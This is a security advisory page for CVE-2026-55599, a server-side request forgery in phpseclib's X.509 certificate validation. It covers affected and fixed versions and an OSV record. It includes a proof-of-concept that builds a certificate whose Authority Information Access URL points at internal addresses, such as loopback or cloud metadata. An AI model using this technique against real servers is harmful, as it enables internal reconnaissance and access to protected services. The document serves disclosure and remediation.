CVE-2026-55599: phpseclib X.509 Certificate Validation Sends Attacker-controlled Vulnerability

MODERATE
Advisory Identifier: GHSA-m557-wrgg-6rp4
CVSS 5.8
CWE-918
Published
Advisory Summary

CVE-2026-55599 is a MODERATE (CVSS 5.8) x.509 certificate validation sends attacker-controlled vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting phpseclib libraries in the Packagist ecosystem. The issue involves x.509 certificate validation sends attacker-controlled outbound requests (server-side request forgery) via authority information access. Remediation is available by upgrading affected packages to version 1.0.30, 2.0.55, 3.0.54.

CVE-2026-55599 at a Glance

CVE Identifier CVE-2026-55599
GHSA Identifier GHSA-m557-wrgg-6rp4
Severity MODERATE
CVSS v3.1 Base Score 5.8
CWE Classification CWE-918: Server-Side Request Forgery (SSRF)
Affected Product phpseclib
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 5.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality Low (C:L)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-55599

To remediate this vulnerability, upgrade all affected phpseclib dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

phpseclib/phpseclib fixed: 1.0.30
Upgrade phpseclib/phpseclib to 1.0.30
phpseclib/phpseclib fixed: 2.0.55
Upgrade phpseclib/phpseclib to 2.0.55
phpseclib/phpseclib fixed: 3.0.54
Upgrade phpseclib/phpseclib to 3.0.54
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for phpseclib/phpseclib

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-55599, inspect your project dependencies for phpseclib:

inspect dependencies for phpseclib/phpseclib

Analyze the terminal output to locate any version of phpseclib in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.0.30), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In phpseclib, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary When an application validates an untrusted X.509 certificate with phpseclib, **X509::validateSignature()** reads a URL out of that certificate's Authority Information Access (AIA) extension and connects to it. Attacker who supplies certificate fully controls host, port, and path of that connection. URL fetching is enabled by default, and no destination is blocked. An unauthenticated attacker can therefore make a validating server open connections to internal hosts and ports it should never reach, for example loopback **127.0.0.1**, cloud metadata address **169.254.169.254**, and internal-only services. This is a server-side request forgery (SSRF) caused by an insecure default. It is reproducible on current released LTS 3.0.53 and on 4.0 development line. ### Details When no already-trusted certificate authority is the issuer of certificate under validation, **validateSignatureCountable()** continues to AIA fetching. Default for **validateSignature()** is **caonly = true**: ``` // phpseclib/File/X509.php:1316-1327 (4.0 development line, commit 74ada1a6) if (!isset($signingCert)) { if ($caonly) { return $this->testForIntermediate(true, $count) && $this->validateSignature(true); } else { try { $this->testForSelfSigned(); $signingCert = $this; } catch (BadMethodCallException) { return $this->testForIntermediate(true, $count) && $this->validateSignature(true); } } } ``` **testForIntermediate()** takes URL straight out of certificate's AIA caIssuers field and fetches it. Value comes directly from certificate content and is never restricted: ``` // phpseclib/File/X509.php:1357-1391 (4.0 development line) $opts = $this->getExtension('id-pe-authorityInfoAccess'); ... foreach ($opts['extnValue'] as $opt) { if ($opt['accessMethod'] == 'id-ad-caIssuers') { if (isset($opt['accessLocation']['uniformResourceIdentifier'])) { $url = (string) $opt['accessLocation']['uniformResourceIdentifier']; // attacker controlled break; } } } ... $cert = static::fetchURL($url); // server-side request forgery ``` **fetchURL()** connects to attacker host and port. There is no destination validation: no block on loopback, link-local, private, or metadata ranges, and no port restriction: ``` // phpseclib/File/X509.php:1456-1476 (4.0 development line) private static function fetchURL(string $url): ?string { if (self::$disable_url_fetch) { // default false, so fetching happens return null; } $parts = parse_url($url); switch ($parts['scheme']) { case 'http': $fsock = @fsockopen($parts['host'], $parts['port'] ?? 80); // attacker host and port ... fputs($fsock, "GET $path HTTP/1.0\r\n"); fputs($fsock, "Host: $parts[host]\r\n\r\n"); ``` Fetching is on by default: ``` // phpseclib/File/X509.php:110 (4.0 development line) private static bool $disable_url_fetch = false; ``` Same default-enabled logic exists in released 3.0.x. In 3.0.53 it sits at **$disable_url_fetch = false** on line 255 and **fsockopen($parts['host'], ...)** on line 1136 of **phpseclib/File/X509.php**. Why this is a vulnerability and not merely a feature. AIA chasing is a legitimate capability described by RFC 4325, and this report does not claim fetching is wrong in itself. Vulnerability is the combination of three properties that together match definition of SSRF: 1. URL comes from untrusted input. It is read out of certificate that an application is trying to validate, which is exactly the data an attacker controls. 2. Fetching is enabled by default. An integrator who simply calls **validateSignature()** gets outbound requests with no opt-in. Only control, **X509::disableURLFetch()**, is off by default, so secure behaviour requires knowing about and calling a method that most callers never see. 3. No destination is restricted. Loopback, private ranges, link-local metadata, and arbitrary ports are all reachable. Mature implementations of AIA fetching restrict destinations precisely to prevent this. Reachability is not narrow. Fetch triggers whenever certificate's issuer is not already trusted, which an attacker arranges trivially by choosing any issuer name that is not in trust store. Having certificate authorities loaded does not protect a target: an attacker certificate that claims an unknown issuer still reaches **testForIntermediate()**. Response handling is blind. Fetched body is used only if it parses as a certificate, and is otherwise discarded, so an attacker does not directly read internal responses through this path. That limits confidentiality impact but does not remove request-forgery and reconnaissance capability. ### PoC Two reproductions follow: current released LTS 3.0.53, and 4.0 development line. Malicious certificate is plain PEM and is identical for both, since certificate format is the same across versions. Build malicious certificate once (this uses 4.0 to build, but any tool that emits an X.509 certificate with an AIA caIssuers URL works): ``` composer require phpseclib/phpseclib:4.0.x-dev ``` ```php <?php require 'vendor/autoload.php'; use phpseclib4\Crypt\RSA; use phpseclib4\File\X509; $url = 'http://127.0.0.1:19090/ssrf'; $key = RSA::createKey(2048)->withPadding(RSA::SIGNATURE_PKCS1)->withHash('sha256'); $cert = new X509($key->getPublicKey()); $cert->addDNProp('id-at-commonName', 'attacker-leaf.example'); $cert->setEndDate('lifetime'); $cert->setExtension('id-pe-authorityInfoAccess', [ ['accessMethod' => 'id-ad-caIssuers', 'accessLocation' => ['uniformResourceIdentifier' => $url]], ]); $key->sign($cert); file_put_contents('attacker_cert.pem', (string) $cert); ``` Stand up a listener that represents an internal service on a port that is not otherwise reachable from outside: ``` php -r '$s=stream_socket_server("tcp://127.0.0.1:19090",$e,$m);$c=stream_socket_accept($s,20);echo fread($c,4096);' ``` Reproduction on released LTS 3.0.53. Install it and have an application validate certificate: ``` composer require phpseclib/phpseclib:~3.0.0 ``` ```php <?php require 'vendor/autoload.php'; use phpseclib3\File\X509; $v = new X509(); $v->loadX509(file_get_contents('attacker_cert.pem')); $v->validateSignature(); // connects to 127.0.0.1:19090 during validation ``` Reproduction on 4.0 development line. Same certificate, 4.0 namespace: ```php <?php require 'vendor/autoload.php'; use phpseclib4\File\X509; X509::clearCAStore(); // attacker cert issuer is not trusted $v = X509::load(file_get_contents('attacker_cert.pem')); $v->validateSignature(); // connects to 127.0.0.1:19090 during validation ``` Observed result, on both 3.0.53 and 4.0.x-dev. Listener receives a request whose host, port, and path all come from certificate, even though **validateSignature()** returns false: ``` GET /ssrf HTTP/1.0 Host: 127.0.0.1 ``` This was also confirmed end to end over HTTP: an unauthenticated POST of certificate to an endpoint that calls **loadX509()** then **validateSignature()** makes server connect outbound to attacker-chosen **127.0.0.1:19090**. Changing host and port in certificate reaches any internal address and port, for example **169.254.169.254** or **127.0.0.1:6379**. Negative control. With **X509::disableURLFetch()** set before validation, validation returns false and no outbound connection is made. This confirms both root cause and that default-on behaviour is the trigger. ### Impact This is a server-side request forgery (CWE-918) caused by an insecure default (CWE-276): URL fetching is enabled by default and applies no destination restrictions while acting on untrusted certificate content. An application is affected when it validates an attacker-influenced certificate, which covers client-certificate checks implemented in PHP, S/MIME and CMS signer verification, document and code-signing validation, and any feature that verifies an uploaded or pasted certificate. No authentication and no user interaction are needed. What an attacker gains: - Internal reconnaissance and port scanning. Connection success or failure and timing reveal which internal hosts and ports respond. - Interaction with internal-only HTTP services such as admin panels, dashboards, and webhooks bound to loopback or private ranges. - Requests to cloud metadata endpoints such as **169.254.169.254**, which answer plain HTTP GET on some providers. Because fetch is blind, an attacker does not read internal response bodies through this path directly, so this is a request-forgery and reconnaissance primitive rather than direct disclosure of internal data. Any reflective sink elsewhere in an application, or any internal endpoint that performs an action on a GET, increases real impact. Suggested fix, strongest first: default **disableURLFetch** to true so AIA chasing is opt-in; if it stays enabled, validate destinations inside **fetchURL()** by rejecting loopback, link-local, and private addresses and restricting ports, and add an egress policy callback similar to existing **setCRLLookupCallback()**; and state plainly in documentation that validating an untrusted certificate can cause outbound requests to URLs found inside that certificate.

CVE-2026-55599 Affected phpseclib Versions

3 component(s)
Fixed Versions:
1.0.302.0.553.0.54
Product / Package Ecosystem Affected Versions Fixed Version
phpseclib/phpseclib
Packagist
≥ 0.1.1
< 1.0.30
1.0.30
phpseclib/phpseclib
Packagist
≥ 2.0.0
< 2.0.55
2.0.55
phpseclib/phpseclib
Packagist
≥ 3.0.0
< 3.0.54
3.0.54

References

Frequently Asked Questions

What is CVE-2026-55599?
CVE-2026-55599 is a security vulnerability in phpseclib involving X.509 certificate validation sends attacker-controlled outbound requests (server-side request forgery) via Authority Information Access under CWE-918: Server-Side Request Forgery (SSRF).
Which phpseclib versions are affected?
Affected versions include releases prior to 1.0.30, 2.0.55, 3.0.54 across affected packages: phpseclib/phpseclib.
What version fixes CVE-2026-55599?
Upgrading to 1.0.30, 2.0.55, 3.0.54 (or the latest patched release for your respective branch) resolves the vulnerability.
Is phpseclib/phpseclib affected?
Yes, phpseclib/phpseclib is affected in releases prior to 1.0.30, 2.0.55, 3.0.54. Upgrade your dependency to 1.0.30, 2.0.55, 3.0.54 or later.
What is the CVSS score of CVE-2026-55599?
CVE-2026-55599 has a CVSS v3.1 base score of 5.8 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N.
What CWE is associated with CVE-2026-55599?
CVE-2026-55599 is classified under CWE-918: Server-Side Request Forgery (SSRF) (The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.).
How can I check Packagist dependencies for CVE-2026-55599?
Run the dependency tree command: 'inspect dependencies for phpseclib/phpseclib'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-m557-wrgg-6rp4",
  "modified" : "2026-07-08T17:37:10Z",
  "published" : "2026-06-16T15:03:58Z",
  "aliases" : [ "CVE-2026-55599" ],
  "summary" : "phpseclib: X.509 certificate validation sends attacker-controlled outbound requests (server-side request forgery) via Authority Information Access",
  "details" : "### Summary\n\nWhen an application validates an untrusted X.509 certificate with phpseclib, **X509::validateSignature()** reads a URL out of that certificate's Authority Information Access (AIA) extension and connects to it. Attacker who supplies certificate fully controls host, port, and path of that connection. URL fetching is enabled by default, and no destination is blocked. An unauthenticated attacker can therefore make a validating server open connections to internal hosts and ports it should never reach, for example loopback **127.0.0.1**, cloud metadata address **169.254.169.254**, and internal-only services. This is a server-side request forgery (SSRF) caused by an insecure default. It is reproducible on current released LTS 3.0.53 and on 4.0 development line.\n\n### Details\n\nWhen no already-trusted certificate authority is the issuer of certificate under validation, **validateSignatureCountable()** continues to AIA fetching. Default for **validateSignature()** is **caonly = true**:\n\n```\n// phpseclib/File/X509.php:1316-1327 (4.0 development line, commit 74ada1a6)\nif (!isset($signingCert)) {\n    if ($caonly) {\n        return $this->testForIntermediate(true, $count) && $this->validateSignature(true);\n    } else {\n        try {\n            $this->testForSelfSigned();\n            $signingCert = $this;\n        } catch (BadMethodCallException) {\n            return $this->testForIntermediate(true, $count) && $this->validateSignature(true);\n        }\n    }\n}\n```\n\n**testForIntermediate()** takes URL straight out of certificate's AIA caIssuers field and fetches it. Value comes directly from certificate content and is never restricted:\n\n```\n// phpseclib/File/X509.php:1357-1391 (4.0 development line)\n$opts = $this->getExtension('id-pe-authorityInfoAccess');\n...\nforeach ($opts['extnValue'] as $opt) {\n    if ($opt['accessMethod'] == 'id-ad-caIssuers') {\n        if (isset($opt['accessLocation']['uniformResourceIdentifier'])) {\n            $url = (string) $opt['accessLocation']['uniformResourceIdentifier']; // attacker controlled\n            break;\n        }\n    }\n}\n...\n$cert = static::fetchURL($url); // server-side request forgery\n```\n\n**fetchURL()** connects to attacker host and port. There is no destination validation: no block on loopback, link-local, private, or metadata ranges, and no port restriction:\n\n```\n// phpseclib/File/X509.php:1456-1476 (4.0 development line)\nprivate static function fetchURL(string $url): ?string\n{\n    if (self::$disable_url_fetch) {  // default false, so fetching happens\n        return null;\n    }\n    $parts = parse_url($url);\n    switch ($parts['scheme']) {\n        case 'http':\n            $fsock = @fsockopen($parts['host'], $parts['port'] ?? 80); // attacker host and port\n            ...\n            fputs($fsock, \"GET $path HTTP/1.0\\r\\n\");\n            fputs($fsock, \"Host: $parts[host]\\r\\n\\r\\n\");\n```\n\nFetching is on by default:\n\n```\n// phpseclib/File/X509.php:110 (4.0 development line)\nprivate static bool $disable_url_fetch = false;\n```\n\nSame default-enabled logic exists in released 3.0.x. In 3.0.53 it sits at **$disable_url_fetch = false** on line 255 and **fsockopen($parts['host'], ...)** on line 1136 of **phpseclib/File/X509.php**.\n\nWhy this is a vulnerability and not merely a feature. AIA chasing is a legitimate capability described by RFC 4325, and this report does not claim fetching is wrong in itself. Vulnerability is the combination of three properties that together match definition of SSRF:\n\n1. URL comes from untrusted input. It is read out of certificate that an application is trying to validate, which is exactly the data an attacker controls.\n2. Fetching is enabled by default. An integrator who simply calls **validateSignature()** gets outbound requests with no opt-in. Only control, **X509::disableURLFetch()**, is off by default, so secure behaviour requires knowing about and calling a method that most callers never see.\n3. No destination is restricted. Loopback, private ranges, link-local metadata, and arbitrary ports are all reachable. Mature implementations of AIA fetching restrict destinations precisely to prevent this.\n\nReachability is not narrow. Fetch triggers whenever certificate's issuer is not already trusted, which an attacker arranges trivially by choosing any issuer name that is not in trust store. Having certificate authorities loaded does not protect a target: an attacker certificate that claims an unknown issuer still reaches **testForIntermediate()**.\n\nResponse handling is blind. Fetched body is used only if it parses as a certificate, and is otherwise discarded, so an attacker does not directly read internal responses through this path. That limits confidentiality impact but does not remove request-forgery and reconnaissance capability.\n\n### PoC\n\nTwo reproductions follow: current released LTS 3.0.53, and 4.0 development line. Malicious certificate is plain PEM and is identical for both, since certificate format is the same across versions.\n\nBuild malicious certificate once (this uses 4.0 to build, but any tool that emits an X.509 certificate with an AIA caIssuers URL works):\n\n```\ncomposer require phpseclib/phpseclib:4.0.x-dev\n```\n\n```php\n<?php\nrequire 'vendor/autoload.php';\n\nuse phpseclib4\\Crypt\\RSA;\nuse phpseclib4\\File\\X509;\n\n$url = 'http://127.0.0.1:19090/ssrf';\n\n$key  = RSA::createKey(2048)->withPadding(RSA::SIGNATURE_PKCS1)->withHash('sha256');\n$cert = new X509($key->getPublicKey());\n$cert->addDNProp('id-at-commonName', 'attacker-leaf.example');\n$cert->setEndDate('lifetime');\n$cert->setExtension('id-pe-authorityInfoAccess', [\n    ['accessMethod' => 'id-ad-caIssuers',\n     'accessLocation' => ['uniformResourceIdentifier' => $url]],\n]);\n$key->sign($cert);\nfile_put_contents('attacker_cert.pem', (string) $cert);\n```\n\nStand up a listener that represents an internal service on a port that is not otherwise reachable from outside:\n\n```\nphp -r '$s=stream_socket_server(\"tcp://127.0.0.1:19090\",$e,$m);$c=stream_socket_accept($s,20);echo fread($c,4096);'\n```\n\nReproduction on released LTS 3.0.53. Install it and have an application validate certificate:\n\n```\ncomposer require phpseclib/phpseclib:~3.0.0\n```\n\n```php\n<?php\nrequire 'vendor/autoload.php';\n\nuse phpseclib3\\File\\X509;\n\n$v = new X509();\n$v->loadX509(file_get_contents('attacker_cert.pem'));\n$v->validateSignature();   // connects to 127.0.0.1:19090 during validation\n```\n\nReproduction on 4.0 development line. Same certificate, 4.0 namespace:\n\n```php\n<?php\nrequire 'vendor/autoload.php';\n\nuse phpseclib4\\File\\X509;\n\nX509::clearCAStore();      // attacker cert issuer is not trusted\n$v = X509::load(file_get_contents('attacker_cert.pem'));\n$v->validateSignature();   // connects to 127.0.0.1:19090 during validation\n```\n\nObserved result, on both 3.0.53 and 4.0.x-dev. Listener receives a request whose host, port, and path all come from certificate, even though **validateSignature()** returns false:\n\n```\nGET /ssrf HTTP/1.0\nHost: 127.0.0.1\n```\n\nThis was also confirmed end to end over HTTP: an unauthenticated POST of certificate to an endpoint that calls **loadX509()** then **validateSignature()** makes server connect outbound to attacker-chosen **127.0.0.1:19090**. Changing host and port in certificate reaches any internal address and port, for example **169.254.169.254** or **127.0.0.1:6379**.\n\nNegative control. With **X509::disableURLFetch()** set before validation, validation returns false and no outbound connection is made. This confirms both root cause and that default-on behaviour is the trigger.\n\n### Impact\n\nThis is a server-side request forgery (CWE-918) caused by an insecure default (CWE-276): URL fetching is enabled by default and applies no destination restrictions while acting on untrusted certificate content.\n\nAn application is affected when it validates an attacker-influenced certificate, which covers client-certificate checks implemented in PHP, S/MIME and CMS signer verification, document and code-signing validation, and any feature that verifies an uploaded or pasted certificate. No authentication and no user interaction are needed.\n\nWhat an attacker gains:\n\n- Internal reconnaissance and port scanning. Connection success or failure and timing reveal which internal hosts and ports respond.\n- Interaction with internal-only HTTP services such as admin panels, dashboards, and webhooks bound to loopback or private ranges.\n- Requests to cloud metadata endpoints such as **169.254.169.254**, which answer plain HTTP GET on some providers.\n\nBecause fetch is blind, an attacker does not read internal response bodies through this path directly, so this is a request-forgery and reconnaissance primitive rather than direct disclosure of internal data. Any reflective sink elsewhere in an application, or any internal endpoint that performs an action on a GET, increases real impact.\n\nSuggested fix, strongest first: default **disableURLFetch** to true so AIA chasing is opt-in; if it stays enabled, validate destinations inside **fetchURL()** by rejecting loopback, link-local, and private addresses and restricting ports, and add an egress policy callback similar to existing **setCRLLookupCallback()**; and state plainly in documentation that validating an untrusted certificate can cause outbound requests to URLs found inside that certificate.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "phpseclib/phpseclib"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0.1.1"
      }, {
        "fixed" : "1.0.30"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.0.29"
    }
  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "phpseclib/phpseclib"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.0.0"
      }, {
        "fixed" : "2.0.55"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.0.54"
    }
  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "phpseclib/phpseclib"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.0.0"
      }, {
        "fixed" : "3.0.54"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.0.53"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/phpseclib/phpseclib/security/advisories/GHSA-m557-wrgg-6rp4"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-55599"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/phpseclib/phpseclib"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-16T15:03:58Z",
    "nvd_published_at" : "2026-06-22T21:16:25Z"
  }
}